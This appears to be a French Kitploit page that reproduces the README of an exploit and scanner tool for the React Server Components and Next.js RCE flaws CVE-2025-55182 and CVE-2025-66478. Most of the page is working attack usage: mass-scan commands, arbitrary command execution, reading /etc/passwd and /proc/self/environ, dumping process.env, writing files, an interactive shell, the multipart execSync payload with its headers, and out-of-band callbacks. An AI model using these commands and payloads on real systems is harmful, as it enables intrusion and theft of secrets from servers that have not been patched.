CVE-2025-55182-Exploit-PoC-Scanner — Outil d'exploitation pour CVE-2025-55182 et CVE-2025-66478 dans React Server Components et Next.js, avec gadgets RCE, lecture/écriture de fichiers, rappels hors bande et shell interactif pour les tests de sécurité autorisés. | Kitploit

# Vérification de vulnérabilité de base
python3 exploit-custom.py -u https://target.com --check

# Scan de vulnérabilité complet (recommandé)
python3 exploit-custom.py -u https://target.com --scan

# Avec proxy (Burp Suite)
python3 exploit-custom.py -u https://target.com --scan -p http://127.0.0.1:8080

# Test de rappel OOB
python3 exploit-custom.py -u https://target.com --oob your-id.oastify.com

# Exécution de commande
python3 exploit-custom.py -u https://target.com --cmd "whoami"

# Shell interactif
python3 exploit-custom.py -u https://target.com --shell

usage: exploit-custom.py [-h] (-u URL | -l URL_LIST) [-p PROXY] [-c COOKIES]
                         [-H HEADER] [-t THREADS] [--timeout TIMEOUT]
                         [--check] [--detect] [--scan] [--test-all]
                         [--oob HOST] [--cmd CMD] [--gadget GADGET]
                         [--read FILE] [--write FILE CONTENT] [--js JS]
                         [--shell] [-o OUTPUT] [-q]

Argument	Description
`--detect`	Détecter l'utilisation de Next.js/RSC
`--check`	Vérification rapide de vulnérabilité (test mathématique)
`--scan`	Scan de vulnérabilité complet (style PortSwigger)
`--test-all`	Tester tous les gadgets et charges de détection

Argument	Description	Exemple
`--cmd`	Exécuter une commande shell	`--cmd "id"`
`--gadget`	Spécifier le gadget à utiliser	`--gadget execSync`
`--read`	Lire un fichier sur la cible	`--read /etc/passwd`
`--write`	Écrire un fichier sur la cible	`--write /tmp/test.txt "contenu"`
`--js`	Exécuter du code JavaScript	`--js "process.env"`
`--shell`	Démarrer un shell interactif	`--shell`
`--oob`	Hôte de rappel OOB	`--oob xyz.oastify.com`

Argument	Description	Exemple
`-p, --proxy`	Proxy HTTP/HTTPS	`-p http://127.0.0.1:8080`
`-c, --cookies`	Chaîne de cookies	`-c "session=abc123"`
`-H, --header`	En-tête supplémentaire (répétable)	`-H "X-Custom: value"`
`-t, --threads`	Nombre de threads pour le scan en masse	`-t 20`
`--timeout`	Délai d'attente de requête en secondes	`--timeout 60`

# Détecter Next.js et RSC
python3 exploit-custom.py -u https://target.com --detect

# Vérification rapide de vulnérabilité
python3 exploit-custom.py -u https://target.com --check

# Scan complet avec toutes les charges de détection
python3 exploit-custom.py -u https://target.com --scan

# Tester tous les gadgets avec vérification OOB
python3 exploit-custom.py -u https://target.com --test-all --oob xyz.oastify.com

# Scanner plusieurs cibles
python3 exploit-custom.py -l targets.txt --scan -o results.json

# Avec un nombre de threads augmenté
python3 exploit-custom.py -l targets.txt --scan -t 20 -o results.json

# Avec rappels OOB
python3 exploit-custom.py -l targets.txt --oob xyz.oastify.com -o results.json

# Utilisation du gadget par défaut (execSync)
python3 exploit-custom.py -u https://target.com --cmd "whoami"

# Utilisation d'un gadget spécifique
python3 exploit-custom.py -u https://target.com --cmd "id" --gadget spawnSync
python3 exploit-custom.py -u https://target.com --cmd "cat /etc/passwd" --gadget execFileSync

# Lire un fichier
python3 exploit-custom.py -u https://target.com --read /etc/passwd
python3 exploit-custom.py -u https://target.com --read /proc/self/environ

# Écrire un fichier
python3 exploit-custom.py -u https://target.com --write /tmp/pwned.txt "pwned"

# Obtenir les variables d'environnement
python3 exploit-custom.py -u https://target.com --js "JSON.stringify(process.env)"

# Obtenir le nom d'hôte
python3 exploit-custom.py -u https://target.com --js "require('os').hostname()"

# Lister un répertoire
python3 exploit-custom.py -u https://target.com --js "require('fs').readdirSync('/')"

Commande	Description
`<commande>`	Exécuter une commande shell
`!read <fichier>`	Lire un fichier
`!write <fichier> <contenu>`	Écrire un fichier
`!js <code>`	Exécuter du JavaScript
`!gadget <nom>`	Changer de gadget
`exit`	Quitter le shell

Nom	ID du module	Description
`execSync`	child_process#execSync	Exécution directe de commande shell
`execFileSync`	child_process#execFileSync	Exécuter un fichier binaire
`spawnSync`	child_process#spawnSync	Lancer un processus avec arguments
`vm_runInThisContext`	vm#runInThisContext	Exécuter du JS dans le contexte actuel
`vm_runInNewContext`	vm#runInNewContext	Exécuter du JS avec échappement de bac à sable
`vm_runInThisContext_global`	vm#runInThisContext	Exécuter via global.process

Charge	Description
`property_reference`	Référence de propriété délimitée par deux-points `["$1:a:a"]`
`property_reference_v2`	Référence alternative `["$1:b:b"]`
`property_reference_constructor`	Accès au constructeur via référence de propriété
`property_reference_proto`	Accès à la chaîne prototype via référence de propriété
`action_ref_vm`	ACTION_REF avec vm#runInThisContext
`action_ref_execSync`	ACTION_REF avec child_process#execSync

Couleur	Statut	Signification
Vert	`[VULN]`	Vulnérable - RCE confirmée
Jaune	`[PATCH]`	Corrigé - Actions Serveur actives mais protégées
Bleu	`[RSC]`	Actions Serveur détectées
Cyan	`[NEXT]`	Next.js détecté
Rouge	`[ERR]`	Erreur de connexion

[VULN] property_reference          Pattern vulnérable détecté !
        -> Error digest pattern: E{"digest"... (nécessite vérification OOB)
[SAFE] property_reference_v2       HTTP 200
[500]  action_ref_vm               digest:12345

------CVE2025Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"

------CVE2025Boundary
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"child_process#execSync","bound":["whoami"]}
------CVE2025Boundary--

Content-Type: multipart/form-data; boundary=----CVE2025Boundary
Accept: text/x-component
Next-Action: <random-uuid>
RSC: 1
Next-Router-State-Tree: [[["",{"children":["__PAGE__",{}]},null,null,true]]

# 1. Préparer la liste de cibles
echo "https://app.example.com" > targets.txt
echo "https://api.example.com" >> targets.txt

# 2. Scan en masse
python3 exploit-custom.py -l targets.txt --scan -o results.json

# 3. Vérifier avec OOB
python3 exploit-custom.py -u https://vuln.example.com --oob your-id.oastify.com

# 1. Détecter la technologie
python3 exploit-custom.py -u https://target.com --detect

# 2. Analyser avec Burp
python3 exploit-custom.py -u https://target.com --scan -p http://127.0.0.1:8080

# 3. Exploiter
python3 exploit-custom.py -u https://target.com --shell

Identifiants CVE	CVE-2025-55182, CVE-2025-66478
Score CVSS	10.0 (CRITIQUE)
Versions concernées	React < 19.2.0, Next.js < 15.0.5
Type de vulnérabilité	Exécution de code à distance (RCE)
Vecteur d'attaque	Réseau

Argument	Description	Exemple
`-u, --url`	URL cible unique	`-u https://target.com`
`-l, --list`	Fichier contenant des URLs	`-l targets.txt`

Argument	Description
`-o, --output`	Enregistrer les résultats dans un fichier (.json ou .txt)
`-q, --quiet`	Supprimer la bannière

Nom	ID du module	Description
`fs_readFileSync`	fs#readFileSync	Lire des fichiers arbitraires
`fs_writeFileSync`	fs#writeFileSync	Écrire des fichiers arbitraires

Nom	Description
`vm_fetch`	Requête HTTP via l'API fetch (Node 18+)
`vm_http`	Requête HTTP via le module http

Méthode	Description
`curl`	Requête HTTP via la commande curl
`wget`	Requête HTTP via la commande wget
`nslookup`	Requête DNS
`ping`	Ping ICMP
`fetch`	API fetch Node.js
`http`	Module http Node.js

CVE-2025-55182-Exploit-PoC-Scanner

Populaires

CVE-2025-55182 - Exploit RCE des Composants Serveur React v2.0

Aperçu de la vulnérabilité

Fonctionnalités

Installation

Prérequis

Version Python

Démarrage rapide

Utilisation

Arguments en ligne de commande

Sélection de cible

Modes de scan

Exploitation

Options de connexion

Options de sortie

Exemples de scan

Cible unique

Scan en masse

Exemples d'exploitation

Exécution de commande

Opérations sur les fichiers

Exécution JavaScript

Shell interactif

Gadgets disponibles

Gadgets RCE

Gadgets fichiers

Gadgets OOB

Charges de détection (CVE-2025-66478)

Méthodes de rappel OOB

Interprétation des résultats

Couleurs du terminal

Résultats de scan

Détails techniques

Format flight RSC

Structure de charge multipart

En-têtes HTTP requis

Versions corrigées

React

Next.js

Cas d'utilisation

Bug Bounty

Tests d'intrusion

Références

Avertissement légal

Licence